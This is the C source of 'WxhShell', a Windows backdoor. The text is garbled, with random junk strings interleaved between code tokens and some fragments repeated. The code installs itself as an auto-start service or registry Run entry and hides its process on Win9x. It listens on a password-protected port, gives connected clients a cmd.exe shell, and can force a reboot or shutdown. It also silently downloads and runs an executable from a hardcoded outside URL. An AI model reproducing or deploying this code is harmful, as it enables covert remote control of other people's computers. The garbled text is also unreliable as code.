g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); :_9MS0 NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Aiyx!Q6vT Kv(2x3(" if (!NtQueryInformationProcess) return 0;
%f3qCN
K|[p4*6 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); -yyim;Nj if(!hProcess) return 0; ZNWo:N8; %S*<2F9
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; +I~`Ob wJc~AP)I%z CloseHandle(hProcess); ?RW7TWf 8i$quHd&x hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); n}0n!Pr^ if(hProcess==NULL) return 0; v *'anw&Z ZAATV+Z HMODULE hMod; o>4mkh[3 char procName[255]; V9KI?}q:W unsigned long cbNeeded; Hwb+@'o j'L/eps?S if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); }-` N^ Y=G9|7*lO CloseHandle(hProcess); @QOlo-u DA=#T2)p if(strstr(procName,"services")) return 1; // 以服务启动 SXqWq q|7i6jq\*R return 0; // 注册表启动 CG#lpAs } 8M6
Xd]{% GK6/S_l%D+ // 主模块 uX/K/4 int StartWxhshell(LPSTR lpCmdLine) {"v~1W) { nR%ey" SOCKET wsl; FS'|e?WU BOOL val=TRUE; dw*PjIB9x int port=0; $G\WW@*GE struct sockaddr_in door; T'^ Do/ [|qV*3|? if(wscfg.ws_autoins) Install(); 8Cx6Me>,= @ra^0 port=atoi(lpCmdLine); nj1TX {UeS_O>( if(port<=0) port=wscfg.ws_port; 7!qO*r C4[) yJ WSADATA data; {{:QtkN if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; lwSZpS yf4I<v$y if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; \=1$$EDS9 setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); cy-o@U"s8 door.sin_family = AF_INET; jT'09r3P door.sin_addr.s_addr = inet_addr("127.0.0.1"); omP\qOc door.sin_port = htons(port); .#q]{j@Ot M&[bb $00j if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { n2V
$dF4m closesocket(wsl); }AW"2<@ return 1; tFEY8ut{ } L*6R5i> 1agNwFd~ if(listen(wsl,2) == INVALID_SOCKET) { P:#KBF;a closesocket(wsl); MD):g@ return 1; +dG3/vV } JW},7Ox Wxhshell(wsl); 5r1u_8)' WSACleanup(); %O|+`" wi/qI(O! return 0; 7gc?7TM ~tc,p } rD;R9b"J a$=He // 以NT服务方式启动 rRvZG&k
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) :Ahw{z`H# { OZR{+YrB^ DWORD status = 0; gy`WBg(7x DWORD specificError = 0xfffffff; ["_+~* <nk9IAH serviceStatus.dwServiceType = SERVICE_WIN32; 4%$#
serviceStatus.dwCurrentState = SERVICE_START_PENDING; F{G.dXZZ< serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; FeT|
Fh:L serviceStatus.dwWin32ExitCode = 0; [gDl<6a#4 serviceStatus.dwServiceSpecificExitCode = 0; KG=57=[ serviceStatus.dwCheckPoint = 0; ri/CLq^D serviceStatus.dwWaitHint = 0; l3xI\{jn x~JOg57up hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); +-!2nk`"a if (hServiceStatusHandle==0) return; +QEP:#qZw /o^/J~/3 status = GetLastError(); {O6yJckH if (status!=NO_ERROR) a$5P\_ { [X 9zrGHt serviceStatus.dwCurrentState = SERVICE_STOPPED; )A$xt)}P!{ serviceStatus.dwCheckPoint = 0; Z,oCkv("n serviceStatus.dwWaitHint = 0; LP'wL6# serviceStatus.dwWin32ExitCode = status; :6qt[(<" serviceStatus.dwServiceSpecificExitCode = specificError; xpp>5d
! SetServiceStatus(hServiceStatusHandle, &serviceStatus); @\WeI"^F8 return; v~A*?WU;n } {kghZur +!K*FU=). serviceStatus.dwCurrentState = SERVICE_RUNNING; twox.@"U serviceStatus.dwCheckPoint = 0; bao"iv~z serviceStatus.dwWaitHint = 0; P*]hXm85[K if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); =gB8(1g8 } ^ X-6j[". h=4 GSU // 处理NT服务事件,比如:启动、停止 r&+w)U~ VOID WINAPI NTServiceHandler(DWORD fdwControl) B- D&1gO { SZUo RWx switch(fdwControl) 3RF`F
i { 0DFVB%JdI case SERVICE_CONTROL_STOP: KE6XNG3 serviceStatus.dwWin32ExitCode = 0; _\gCdNrD serviceStatus.dwCurrentState = SERVICE_STOPPED; [tR b{JsUd serviceStatus.dwCheckPoint = 0; "yc|ng serviceStatus.dwWaitHint = 0; of {K{(M7@ { 4y.qtiIP>$ SetServiceStatus(hServiceStatusHandle, &serviceStatus); DkSs^ym } ?./%7v return; + KaVvf case SERVICE_CONTROL_PAUSE: $Ai zKiV serviceStatus.dwCurrentState = SERVICE_PAUSED; gT(8.<h8 break; "|Kag|(qB case SERVICE_CONTROL_CONTINUE: gquvVj1oT serviceStatus.dwCurrentState = SERVICE_RUNNING; oQA,57B break; 6a<zZO`Z6+ case SERVICE_CONTROL_INTERROGATE: G+2 ,x0( break; E
$P?%<o }; FU(2,Vl SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^X?uAX-RP| } M!D6i5k, Ss0I{0 // 标准应用程序主函数 yzMGZi`ut int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 7xFZJ# { T2n3g|4 =kf"%vFV // 获取操作系统版本 _u'y7- OsIsNt=GetOsVer(); G{{M'1 GetModuleFileName(NULL,ExeFile,MAX_PATH); K&,";9c G8 q<) // 从命令行安装 !??g:2 if(strpbrk(lpCmdLine,"iI")) Install(); _''un3eCY .
:>e"D // 下载执行文件 5fMlOP_ if(wscfg.ws_downexe) { ];jp)P2o if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) pTB7k3g WinExec(wscfg.ws_filenam,SW_HIDE); <s7cCpUFP } K- $,:28 >t<\zC|~w if(!OsIsNt) { dWY{x47 // 如果时win9x,隐藏进程并且设置为注册表启动 #a2gRg HideProc(); u:f.;? StartWxhshell(lpCmdLine); hu1ZckIw? } bdY:-8!3 else c&x1aF "B if(StartFromService()) }-J0cV // 以服务方式启动 2Y<]X7Ch: StartServiceCtrlDispatcher(DispatchTable); $PI9vyS else ,QpFVlPU // 普通方式启动 QxN1N^a0 StartWxhshell(lpCmdLine); GKjtX?~1 [3I|MZ return 0; "<{|ni} } 3kk^hvB+f f0j]!g {ya. Yb4ku7} =========================================== G~v:@ F>3 o0ke} <9piKtb|L ? dHl' pf107S 1DhC,)+D}q " AWYlhH4c?t fU?#^Lg #include <stdio.h> P.5l9Ns(O #include <string.h> 5 7t.Ud #include <windows.h> u '/)l} #include <winsock2.h> eBs.RR
]O #include <winsvc.h> =JgR c7 #include <urlmon.h> C}pm>(F~ DyCzRkH #pragma comment (lib, "Ws2_32.lib") z<mN-1PM7& #pragma comment (lib, "urlmon.lib") )\ceanS N0Y4m_dm* #define MAX_USER 100 // 最大客户端连接数 TH'8^w f #define BUF_SOCK 200 // sock buffer *d;TpwUI #define KEY_BUFF 255 // 输入 buffer w5{l-Z >e
R^G5rn; #define REBOOT 0 // 重启 Zfcf?&>< #define SHUTDOWN 1 // 关机 @$n
$f [}j a\!P #define DEF_PORT 5000 // 监听端口 `D
|/g; c6#E gN,X #define REG_LEN 16 // 注册表键长度 p\&/m #define SVC_LEN 80 // NT服务名长度 h=gtuaR4 rMi\#[oB // 从dll定义API ;"x+V gS' typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); c8"Qmy typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); mV`R'*1UC typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); k|?[EWIi^ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); q,@#
cQBV e4SS'0| // wxhshell配置信息 T+@i;M struct WSCFG { U364'O8_ int ws_port; // 监听端口 >Ti%Th, char ws_passstr[REG_LEN]; // 口令 (w)%2vZ^ int ws_autoins; // 安装标记, 1=yes 0=no ,++HiYOG}e char ws_regname[REG_LEN]; // 注册表键名 5rB>)p05[ char ws_svcname[REG_LEN]; // 服务名 n|&=6hiI char ws_svcdisp[SVC_LEN]; // 服务显示名 qz]qG=wmL char ws_svcdesc[SVC_LEN]; // 服务描述信息 jaodcT0 char ws_passmsg[SVC_LEN]; // 密码输入提示信息 .=J- !{z int ws_downexe; // 下载执行标记, 1=yes 0=no ub-e! { char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" /~w*)e) char ws_filenam[SVC_LEN]; // 下载后保存的文件名 qX5>[qf- 1L4-;HYJm }; ;9mRumLG" p03I&d@w> // default Wxhshell configuration [;Lgbgt3f struct WSCFG wscfg={DEF_PORT, 7)jN:+4N "xuhuanlingzhe", (9I(e^@] 1, +5*bU1}O "Wxhshell", (~N?kh: "Wxhshell", LxhS
9 "WxhShell Service", SR?mSpq5 "Wrsky Windows CmdShell Service", tt?`,G.(] "Please Input Your Password: ", zhs@YMY 1, X/2GTU7? "http://www.wrsky.com/wxhshell.exe", /Tm+&Jd "Wxhshell.exe" VtI`Qcjc }; 0H>gMXWE] $Bz};@ // 消息定义模块 4x[_lsj char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 9gw;MFP)D char *msg_ws_prompt="\n\r? for help\n\r#>"; ">.k 6Q char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; A/I\MN| char *msg_ws_ext="\n\rExit."; HL4=P,' char *msg_ws_end="\n\rQuit."; ; >H1A char *msg_ws_boot="\n\rReboot..."; }6-olVg char *msg_ws_poff="\n\rShutdown..."; 8bdO-LJ9 char *msg_ws_down="\n\rSave to "; ;K\2/"$QD mP
}<{oh`x char *msg_ws_err="\n\rErr!"; uM1$3< char *msg_ws_ok="\n\rOK!"; lL:!d.{ ]-X6Cl char ExeFile[MAX_PATH]; 9n\>Yieu int nUser = 0; mbkt7. ,P HANDLE handles[MAX_USER]; -V6caVlg int OsIsNt; WyatHC 6H'A]0 SERVICE_STATUS serviceStatus; MZQDFuvDxZ SERVICE_STATUS_HANDLE hServiceStatusHandle; T{Xd > rHw#<oV // 函数声明 @ !su7 int Install(void); d%0Gsga} int Uninstall(void); r'{N_|:vv int DownloadFile(char *sURL, SOCKET wsh); G8+&fn6 int Boot(int flag); p% mHxYP void HideProc(void); o|h=M/ int GetOsVer(void); f4P({V int Wxhshell(SOCKET wsl); ]>(pj9) void TalkWithClient(void *cs); vq(#Ih2 int CmdShell(SOCKET sock); */IiL%g4u int StartFromService(void); 0}e?hbF%U int StartWxhshell(LPSTR lpCmdLine); J1I,;WGf I
m
I$~q' VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); tWy.Gz\ VOID WINAPI NTServiceHandler( DWORD fdwControl ); z7IJSj1gQI e,}h^^" // 数据结构和表定义 *`"+J_ SERVICE_TABLE_ENTRY DispatchTable[] = 7!cLTq { W=^.s>7G {wscfg.ws_svcname, NTServiceMain}, 9qCE{[( {NULL, NULL} rz_W]/G-P }; 1}la)lC *V',@NH#Os // 自我安装 xSD*e 0
int Install(void) ,V!"4T,Z { G-)e(u
char svExeFile[MAX_PATH]; 8_4!Ar>2 HKEY key; ;dUKFdKH} strcpy(svExeFile,ExeFile); 082iEG _N|%i J5 // 如果是win9x系统,修改注册表设为自启动 nC,QvV if(!OsIsNt) { c|.te]!ds if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7P3pjgh RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 50Gr\ RegCloseKey(key); ![K\)7 iKo if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $Ah
p4oiE RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Vxap+<m RegCloseKey(key); Jfr'OD2$ % return 0; ^OQP;5 #K } xS_;p9{E } &6OY^6< } nE8z1hBUq else { K'
`qR <}[ !k< // 如果是NT以上系统,安装为系统服务 ben-<3r SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 5@>hjXi"Y if (schSCManager!=0) zs]ubJC@ { d)-ZL*o SC_HANDLE schService = CreateService zGU MH7 M ( xK_UkB-$i schSCManager, ^/E'Rf3[A wscfg.ws_svcname, 95#]6*#[4! wscfg.ws_svcdisp, 0=HB!{@ SERVICE_ALL_ACCESS, neM)(` gp SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , n~yHt/T SERVICE_AUTO_START, 3@x[M?$ SERVICE_ERROR_NORMAL, 4dFr~ { svExeFile, uQdH(): NULL, #sCR} NULL, L^t%p1R NULL, 8m' f8.x NULL, LAk
.f NULL `&c[s%0 ); YQ:$m5ai if (schService!=0) H][TH2H1 { \wz^Z{U CloseServiceHandle(schService); I-!7 EC2{! CloseServiceHandle(schSCManager); m,+PYq strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Wtu-g**KN strcat(svExeFile,wscfg.ws_svcname); %%X/gvaJ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { i5le0lM RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); -S]ercar RegCloseKey(key); Pq+|*Y<|& return 0; geK;r0(f }
'v Vt^h2 } kXhd]7ru CloseServiceHandle(schSCManager); ;q-c[TZC } Cu%BU}( } >b\|%=(x!* qfT9g>EF return 1; cG0)F%?X? } a K6dy\ U>!TM##1QD // 自我卸载 +arh/pd_I int Uninstall(void) [.|& /O { [K
#$W HKEY key; `/m]K~~ n5~Dxk if(!OsIsNt) { ?3DFm if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5,XEN$^ RegDeleteValue(key,wscfg.ws_regname); bl!pKOY RegCloseKey(key); gLt6u|0q if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { V$DB4YM1k RegDeleteValue(key,wscfg.ws_regname); lW-G]V RegCloseKey(key); V8F!o return 0; %fld<O } uu]C;wl } kPy7e~ } #"A`:bjG else { .mrv"k\< ]GRVU SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); p
Cx_[#DrP if (schSCManager!=0) kygj" @EX { 2IHS)kkT| SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Se[=$W if (schService!=0) ecl6>PS$' { y /8iEs if(DeleteService(schService)!=0) { )ty>{t CloseServiceHandle(schService); c9H6\ & CloseServiceHandle(schSCManager); M3KK^YRN return 0; ~g[D!HV|yu } }@$CS5w CloseServiceHandle(schService); -|#/KKF } #%GBopv CloseServiceHandle(schSCManager); ,%/F,O+# } L1lDDS# } ;X;x.pi e"EGqn&! return 1; dXn$XGF%R } Z{ YuX ?:GrM!kq76 // 从指定url下载文件 "6WJj3hN int DownloadFile(char *sURL, SOCKET wsh) NmpNme { #.]W>hN8\ HRESULT hr; ;gaTSYVe char seps[]= "/"; `mZ1!I-T char *token; k%-y\WM char *file; hms Aim9i char myURL[MAX_PATH]; ~PpU'[ char myFILE[MAX_PATH]; OI/]Y7D[Oq WzdlrkD strcpy(myURL,sURL); 9-A@2&J1 token=strtok(myURL,seps); }7%ol&<@ while(token!=NULL) C_[
d { 01aw+o file=token; S:2 xm8
i token=strtok(NULL,seps); qncZpXw^ } DB jUHirK zuJ` 704 GetCurrentDirectory(MAX_PATH,myFILE); 02^\np strcat(myFILE, "\\"); /f.
,xs! strcat(myFILE, file); kd
p*6ynD send(wsh,myFILE,strlen(myFILE),0); 3!?QQT,!) send(wsh,"...",3,0); ^^xzaF hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 6QPbmO]z if(hr==S_OK) EO",|V- return 0; 'r^'wv] else 4^6Oh#p0 return 1; u0uz~ s D*HK[_5 } -%VFC^'5 {qry2ZT5 // 系统电源模块 FFN.9[Ly int Boot(int flag) Df1eHa5-7 { Gv(n2r HANDLE hToken; M
8mNeh TOKEN_PRIVILEGES tkp;
G0r(xP? Z%-uyT@a if(OsIsNt) { w'5W L OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Ki)hr%UFw LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Oo\~'I tkp.PrivilegeCount = 1; 4x/u$Ixzh= tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; F<6{$YI AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); >R/^[([;] if(flag==REBOOT) { O_SM! !, if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) "yXqf%CGE return 0; mvtuV` } I|mxyyf else { =0U"07%} if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 5bWy=Xk
B return 0; L\<J|87p? } }M\G } #|e5i9l*B else { _..5G7%#% if(flag==REBOOT) { <DdzDbgax if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) K*MI8') return 0;
]<O- } piiO5fK| else { w?c~be$ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ]"1\z>Hg return 0; "\1V^2kMr } D_cd
l^ } ]JHY(H2| _ID =]NJ_ return 1; uFi[50 } rg+3pX\{ pvd9wKz // win9x进程隐藏模块 yz=6 V% void HideProc(void) '#8;bU { Tb]' b !]WC~#|{B HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Fd0\T#k if ( hKernel != NULL ) ,%]s:vk[u { v{>9&o.J pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Aq P\g k ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); O Bp/:] FreeLibrary(hKernel); ?B,B<@='% } e%DF9}M K,GX5c5 return; "LH* T } 6NqLo^ "g F30jr6F\ // 获取操作系统版本 &@xeWB int GetOsVer(void) ?GGh )";y { 'r?OzFtxh OSVERSIONINFO winfo; Y3wL EG%,: winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); h!>NS ?X7 GetVersionEx(&winfo); z'}?mE3i if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) kOuQR$9s return 1; > 'KQL?!F else 1&}^{ Ys return 0; ed)!Snz } _A/ ]m4 6ypqnOTr // 客户端句柄模块 QCWk[Gx int Wxhshell(SOCKET wsl) tlFc+3 { zuZlP SOCKET wsh; ~d?\rj3= struct sockaddr_in client; eL!G, W DWORD myID; _j2h3lCT KGX?\#- while(nUser<MAX_USER) $/(H%f& { ;EfMTI}6K int nSize=sizeof(client); &_E*]Sj\ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 7u^6`P if(wsh==INVALID_SOCKET) return 1; jQ31u rzqUI*4% handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); MPd#C*c if(handles[nUser]==0) 9? W38EF closesocket(wsh); DEC,oX!bI1 else i=<(fq nUser++; T;< >"" T } 2WOdTM{u WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); $mOK|=tI_ p8^^Pva/ return 0; HnqZ7%jeN } .9g\WH#qD| q 9pcEm4? // 关闭 socket (Qq$ql27 void CloseIt(SOCKET wsh) a~~ "2LE` { h OboM3_ closesocket(wsh); \9/n~/{ nUser--; LVLh&9 ExitThread(0); 5y"yd6O]O5 } cY>;( x@ ?I 1@:?Qi // 客户端请求句柄 [*>@hx void TalkWithClient(void *cs) xI~\15PhG { ^J~}KOH "=f*Lk@[ SOCKET wsh=(SOCKET)cs; n5]<|>Uvx char pwd[SVC_LEN]; .+B)@? char cmd[KEY_BUFF]; W3 8=fyD char chr[1]; oaBfq8,; int i,j; *G~c6BZ -RH ?FJ while (nUser < MAX_USER) { 1=(i{D~ WuGm~<NS if(wscfg.ws_passstr) {
3nK'yC if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); v @N8v //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *}w.xt //ZeroMemory(pwd,KEY_BUFF); Cm;N5i i=0; T)Nis~ while(i<SVC_LEN) { %r!# d$2{_6 // 设置超时 kb7\qH!n fd_set FdRead; vP~F+z
@g struct timeval TimeOut; P7y[9|^ FD_ZERO(&FdRead); mc$c!Ax* FD_SET(wsh,&FdRead); (I~,&aBr TimeOut.tv_sec=8; q-8 GD7 TimeOut.tv_usec=0; Jc%>=`f int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); P|(J]/ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 2iG(v._x 6|dUz*Pr|\ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #/jHnRrQ pwd=chr[0]; f@/qW!o if(chr[0]==0xd || chr[0]==0xa) { 9vj:=,TNu pwd=0; g*tLqV break; ckP3[@Su { } G#*!)#M < i++; z~Pmh%b } ~fUSmc <NAR'{f // 如果是非法用户,关闭 socket =91'.c< if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); /1> } jN<]yhqf \rN_CBM send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); P<&/$x6 send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ` k\1vum N^ET
qg while(1) { Z{CL! T8(wzs ZeroMemory(cmd,KEY_BUFF); Ni)#tz_9 h9-Ky@X` // 自动支持客户端 telnet标准 X}=f{/\S j=0; \9?<E[ while(j<KEY_BUFF) { V$_0VN'+Z if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .5ycO cmd[j]=chr[0]; #~f+F0#%? if(chr[0]==0xa || chr[0]==0xd) { jlP7'xt1% cmd[j]=0; '_<`dzz break; Zll^tF# } UKBMGzu2: j++; %Uk/P } U; xWW9 /t^lI%& // 下载文件 d&u/7rm if(strstr(cmd,"http://")) { iHn]yv3
#
send(wsh,msg_ws_down,strlen(msg_ws_down),0); yfW^wyDd2o if(DownloadFile(cmd,wsh)) j)DZmGg&t send(wsh,msg_ws_err,strlen(msg_ws_err),0); <`*P/V else _Xv/S_yW send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F)5Aq H/p } c]r|I%D else { @]tGfr;le& j*`!o/=LI switch(cmd[0]) { zs:7! .rm7Sd4K // 帮助 FxX3Pq8h case '?': { IpXhb[UZ? send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); G0>Wk#or break; _q_[<{# } K-C,+ eI // 安装 1n(}Q1fa case 'i': { vxT"BvN if(Install()) )YtL=w?L' send(wsh,msg_ws_err,strlen(msg_ws_err),0); @e0skc else B/hHkOoo send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `UK+[`E break; R<-C>D } AS_+}*WSFQ // 卸载 I=yj case 'r': { 5)5bt q)[ if(Uninstall()) si_HN{ send(wsh,msg_ws_err,strlen(msg_ws_err),0); c\{}FGC else .l5 "X> send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G)Bq?=P
break; %=8(B.I! } 0_mvz%[J // 显示 wxhshell 所在路径 G?d,$NMo| case 'p': { )V/lRR& char svExeFile[MAX_PATH]; Q]5^Eiq8 strcpy(svExeFile,"\n\r"); vW-`=30 strcat(svExeFile,ExeFile); },aWCvJL send(wsh,svExeFile,strlen(svExeFile),0); U"Hquo break; 7XWBI\SW } O\Mq<;|7m // 重启 +Z<Q^5w@ case 'b': { 3e6Y send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); x0h3jw+6 if(Boot(REBOOT)) rL
sK-qQ send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9Y%?)t.2 else { LsQ8sFP_" closesocket(wsh); <N=p:e,aN, ExitThread(0); H..ZvGu } &f<1=2dm break; 3!9 yuf } <uKm%~xi< // 关机 5Vo}G %g case 'd': { e_c;D2'F send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); km\ld&d]$ if(Boot(SHUTDOWN)) TBKd|D'H send(wsh,msg_ws_err,strlen(msg_ws_err),0); iQ{&&>V% else { -?B9>6h" closesocket(wsh); <j
9Mt=8M ExitThread(0); Dp*$GQ } AMD?LjY~ break; V}|v!h[O8 } 2vkB<[tSs // 获取shell 5nx<,-N*BP case 's': { n1>,#|# CmdShell(wsh); H[7cA9FI closesocket(wsh); L=HVdeE ExitThread(0); >U~|R=* break; i,IM?+4 } k<Tez{< // 退出 -[pCP_`)u case 'x': { y2#>c* send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); _rMT{q3 CloseIt(wsh); },fo+vRM break; 5{ FM#@ } %7]XW 2u // 离开 k?HrD" k" case 'q': { &=-e`=qJ'6 send(wsh,msg_ws_end,strlen(msg_ws_end),0); /iUUM
t' closesocket(wsh); 9fuJJ3L[ WSACleanup(); >I d!I exit(1); <4Q1 2: break; v:"m } d=?Mj] } i$bzdc#s } EDHg'q =a9etF%B // 提示信息 8jjFC9Cbn0 if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); kG$E
tE# } %'"HGZn b } wHtJ_Y Ns2,hQFc return; sOl>5:D6 } U=kx`j> ?Q96,T-)
c // shell模块句柄 \L ] int CmdShell(SOCKET sock) ~{4n}* { i,#k}CNu STARTUPINFO si; K$G RJ ZeroMemory(&si,sizeof(si)); AfRW=&xdT si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 5iQmZ[ si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; )u8*zwq PROCESS_INFORMATION ProcessInfo; 2e9jo,i char cmdline[]="cmd"; w;
4jx(
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); bo@,4xw return 0; )N"Ew0U } T-|9o|~z &~~aAg // 自身启动模式 D<U
9m3 int StartFromService(void) wjTNO0hj { <nWKR, typedef struct p}3NJV { b!0DH[XKV DWORD ExitStatus; M{?.hq DWORD PebBaseAddress; weAn&h| DWORD AffinityMask; @Od^k# DWORD BasePriority; -<qxO ULONG UniqueProcessId; Y?yo\(Cdx ULONG InheritedFromUniqueProcessId; i:o}!RZ> } PROCESS_BASIC_INFORMATION; l|YT[LR7 FR:d^mL PROCNTQSIP NtQueryInformationProcess; n/QfdAg J["H[T* static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; HH)"]E5 static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 6HoqEku/Q Q}kfM^i HANDLE hProcess; X8/Tl\c PROCESS_BASIC_INFORMATION pbi; ?Z q_9T7 XrF3kz!44 HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); yN*:.al if(NULL == hInst ) return 0; .K IVf8)" zv //K_ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); q-3]jHChh g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); kG/X"6pZ NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); LVnHt} )QmGsU}? if (!NtQueryInformationProcess) return 0; EYL]TeS (;aB!(_ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 9UwLF`XM if(!hProcess) return 0; >$\Bu]{1 N{8"s& |